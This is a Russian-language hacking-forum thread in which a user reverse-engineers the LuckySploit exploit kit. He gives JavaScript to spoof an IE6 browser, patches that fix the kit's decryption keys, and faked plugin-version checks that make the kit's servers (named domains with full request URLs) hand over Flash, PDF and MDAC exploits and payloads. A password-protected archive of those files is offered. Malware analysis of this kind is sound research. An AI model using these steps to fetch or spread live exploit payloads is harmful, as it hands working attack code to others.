• XSS.stack #1 – первый литературный журнал от юзеров форума

Разбор LuckySploit

Mr.Di

(L1) cache
Пользователь
Регистрация
29.11.2006
Сообщения
781
Реакции
78
В привате подобная тема существует довольно таки давно. Там я расковыриваю всякое неопознанное зверье, опознанно зверье и прочий щыт. Думаю теперь он будет жить и на сплойте. Итак, сегодня мы посмотрим что-же такое лаки, что он из себя представляет, как работает ну и конечно вытащим его кишки. Разбор будем проводить по принципу тестиривания "черный ящик". То есть, нам глубоко пофиг что внутри и как это работает, мы можем подавать какие-либо значение на вход и получать что-то на выходе. В принципе нам этого более чем достаточно. Итак, начнем.

Перво-наперво стоит найти домен, где висит сие чудо, что вполне логично. Мы будем рассматривать сплойт снятый с домена хттп://clickcouner.cn. User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322). Делаем запрос, получаем содержимое первого куска шифрокода. Содержимое можно посмотреть в файле step1.txt. Содержимое представляет собой обыкновенно-обфусцированный, порезанный ЯС код. Смело запускаем. На выходе получаем вполне адекватный ЯС код. Его содержимое можно увидеть в файле step2.txt.

Тут я позволю себе сделать маленькое лирическое отступление и чуть рассказать о ммеханизме работы лаки сплойта. На первом этапе мы получаем обфусцированный код "загрузчика". При запуске самого загрузчика генерируется переменная res отвечающая за получения непосредственно шифротекста и переменная nextkey отвечающая за дешифровку этого шифра. Всё-бы ничего, но за счет того, что в "загрузчике" используется методы генерирующие "случайные" значения и метод для получения текущей даты в секундах, каждый запуск загрузчика выдает новый вариант ключа. То есть, запустив один раз, перехватив ключ, получив шифротекст и попытавшись его дешифровать, то есть снова запустить весь код включающий загрузик и шифротект получим белибирду. Тоже самое получим если принудительно перехватить ключ и подменить его при повторном запуске. Как это обойти? Да очень просто. Нужно всего лишь "убить" все методы "рандомизации" и получения текущей даты. И еще одна маленькая хитрость, загрузчик проверяем текущий браузер, обмануть его можно добавив в самое начало код:
Код:
function my_navigator () {
this.appCodeName = "Mozilla";
this.appMinorVersion = ";SP3;";
this.appName = "Microsoft Internet Explorer";
this.appVersion = "4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
this.browserLanguage = "en-us";
this.cookieEnabled = "true";
this.cpuClass = "x86";
this.onLine = "true";
this.platform = "Win32";
this.systemLanguage = "en-gb";
this.userAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
this.userLanguage = "en-gb";
};

navigator = new my_navigator;
Итак, продолжим.

Для начала нужно грохнуть все рандом методы, что-бы получить фиксированный ключ и переменные овечающие за дешифрование кода. Работу очень облечгает то, что сами переемнные не обфусцированы, что внесло бы небольшую мароку, странно кстати что авторы такого детища не позаботились об этом. Итак, ищем следующее в загрузчике:
Код:
var d=Math.floor(Math.random()*a.length);
меняем на
Код:
var d=a.length-1;
далее ищем
Код:
var z=window.crypto.random(32);
меняем на
Код:
var z=10;
ищем
Код:
t=Math.floor(65536*Math.random());
меняем на
Код:
t=100;
Рандомные методы мы убили все, теперь осталось дело грохнуть получение даты. Ищем
Код:
XTB(new Date().getTime())
и меняем на
Код:
XTB('1236712324705');
Проверяем получение переменной res
Код:
document.write(res);
да, всё отлично, получили фиксированный ключ 4a0bb441a51a1a196b829ba771958f0254fabb35eafcd38423a253f94ad41875ff46c456801dbdc0bfd3fe4ab00a9f088fce3672e96aa29980f41eec185f0b6f. Однако, имейте ввиду, версии криптора лаки могу отличаться и имена функций-переменный различаться, но найти требуемый думаю не составит труда.

Теперь время "получать" шифротекст. Грузит адрес хттп://clickcouner.cn/?4a0bb441a51a1a196b829ba771958f0254fabb35eafcd38423a253f94ad41875ff46c456801dbdc0bfd3fe4ab00a9f088fce3672e96aa29980f41eec185f0b6f. Получаем содержимое. Посмотреть полученный код можно в архиве step3.txt. Для расшифровки всего этого нужно соеденить в одном файле "эмулятор браузера", загрузчик с исправленными переменными и полученный шифротекст. Результат опять ЯС, но на этот раз уже почти финальный. Он проверяет версии установленных аплетов и плугинов. Содержимое в файле step4.txt.

Двигаемся дальше. Первой функцией мы видим check_flash_vuln. Делает она ни что иное, как проверяет версию установленного в системе флеш плейера. Опять-же будем самые наглые и сделаем подмену. В моем случае я взял версию реально установленного в моей системе плейера это 9:0:115. Делаем подмену. Ищем строчку
Код:
try{vers.push('f',check_flash_vuln());}catch(e){}
и меняем её на
Код:
try{vers.push('f','9:0:115');}catch(e){}
Следом следует функцияcheck_pdf_vuln. Делает она опять же аналогичное с предыдущей, проверяет версию акро пдф ридера. Тут стоит решить, что мы хотим получить, только версия сплойта нацеленную под посследний ридер, или-же на интересуют еще и предыдущие. В первом случае я поставлю замену на версию реально установленного ридера, 900. Во втором варианте, советую поставить что-нибудь из разряда 7хх, 8хх. Делаем замену. Ищем строчку
Код:
try{vers.push('p',check_pdf_vuln());}catch(e){}
и меняем её на
Код:
try{vers.push('p','900');}catch(e){}
Ну и наконец последний определитель check_mdac_vuln. Если очень вкратце, то он проверяет систему на возможность эксплуатации мдак сплойта. Гулять дак гулять, хотим все вариации мдака. Ищем строчку
Код:
try{vers.push('m',check_mdac_vuln());}catch(e){}
и меняем её на
Код:
try{vers.push('m','4');}catch(e){}
Всё, для запуска опять-же соединяем эмулятор брузёра, загрузчик, шифротекст (только стоит закоментить его выполнение //eval(t); и определитель. Получаем значения полученных переменных
Код:
res2=versions=f,9:0:115,p,900,m,4
rsa.encrypt(res2)=470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e
nextkey=versions=f,9:0:115,p,900,m,4470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e

Настал пред завершающий этап. Получения непосредственно файла со сплойтами. Грузит содержимое страницы хттп://clickcouner.cn/?470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e. Получаем еще один шифротекст. Содержимое можно посмотреть в файле step5.txt.

Итак, завершающий этап, требуется получить сами сплойты. Для это нужно воедино соединить "эмулятор браузера", загрузчик с поправленными переменными, первый кусок шифротекста с закомменченным его выполнением, подправленный определитель и наконец второй полученный шифротекст. Запускаем всё вместе и вуаля, сплойты. Увидеть их можно в файле step6.txt.
Вот собственно и всё. Далее идет получение непосредственно файлов для атаки системы, в нашем случае это flash_url="?"+rsa.encrypt("getflash=1&version="+flash_real_ver); и mdac_url="http://visitors-counter.com/?"+rsa.encrypt("getmdac=1&version="+g);. Если вы хотите получить и их для анализа, разбора, етк, стоит подправить определитель.
Вместо
Код:
try{vers.push('f','9:0:115');}catch(e){}
ставим
Код:
var flash_real_ver='9:0:115';
try{vers.push('f','9:0:115');}catch(e){}
Далее ищем установленную нами строчку
Код:
try{vers.push('m','4');}catch(e){}
и меняем её на
Код:
var g='4';
try{vers.push('m','4');}catch(e){}
Сами сплойты меняем на содержимое файла step7.txt. В итоге мы получаем слудющий сгенеренный текст:
Код:
version=9:0:115
flash_url=хттп://visitors-counter.com/?860dd656953e7763aa2cc8df8731f415f73c4f9e829501c998e9fdf0794a752ff7278da3e712f8bf005af86bc24428ac66382ef1a1586fa2e4544d6387991a13
version=4
mdac_url=хттп://visitors-counter.com/?225f6ae18ff97fb10b1a2126d813a4aa3ae03caea5d191f1bd9478c8e42838e8e9a1fbc384b25b3d7ee0cf32f36bc9043b3f62cc1f8a9e15316ba33dea826a5a
Полученные файлы сохранены под именами file.bin и file.swf.

Ну вот теперь всё. Все упомянутые файлы можно найти в архиве lucky_steps.zip.
:zns5: Скачать|Download
:zns5: Скачать|Download
:zns5: Скачать|Download
:zns3: Пароль: DiFor(11.03.2009)
Буду ждать отзывов о "статье". Еще раз всем спасибо за внимание.
 
Немного сломал свой мозг...
Вообщем, очень познавательно. Читал с интересом, много где думал...
Поделись еще какой софт в этих целях ты используешь.
 
Разбор, зачётный, пробовал малец сам поковырять его, но забросил :)
Ar3s, очень удобный инструмент - Malzilla, упоминвшийся DiFor'ом при разборе PDF'ки, ну и + редактор какой-нить, например Notepad++ ;)
 
Ar3s
огромное спасибо за слова. да, использую малзиллу+свои скрипты дописанные под неё. в ближайшем времени хотя переписывать именно малзиллу, с автором списался, да добро на кое-какие реализации

Pir4tt
тоже спасибо огромное
 
Плз перезалейте кто-нибудь файлы на другой обменник а то ссылка умерла. Я немного не понял сплоиты что тоже в архиве были ?
 
Помоему пас не подходит сколько пытаюсь извлечь не выходит ничего

Все нормально распаковывается, как альтернативный вариант можно с исходного домена снять ;)
 
Всё отлично распаковывается, только что проверил.
Получил сегодня следующее в свой адрес:
ТС, не хорошо людям бизнесс портить, автор поставлен в извесность о найденных дырах, надеюсь больше не сольешь ничего
Улыбнуло)))
 
не хорошо людям бизнесс портить
:D а то ни кто его сыль не палил до этого... лежали сплоиты спокойно и не кого не трогали... и shitpots спали... а теперь все знают! :huh1: :lol2:

автор поставлен в извесность о найденных дырах
:swoon:
<_< кто-то мои билды чувства юмора барыжит :D
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх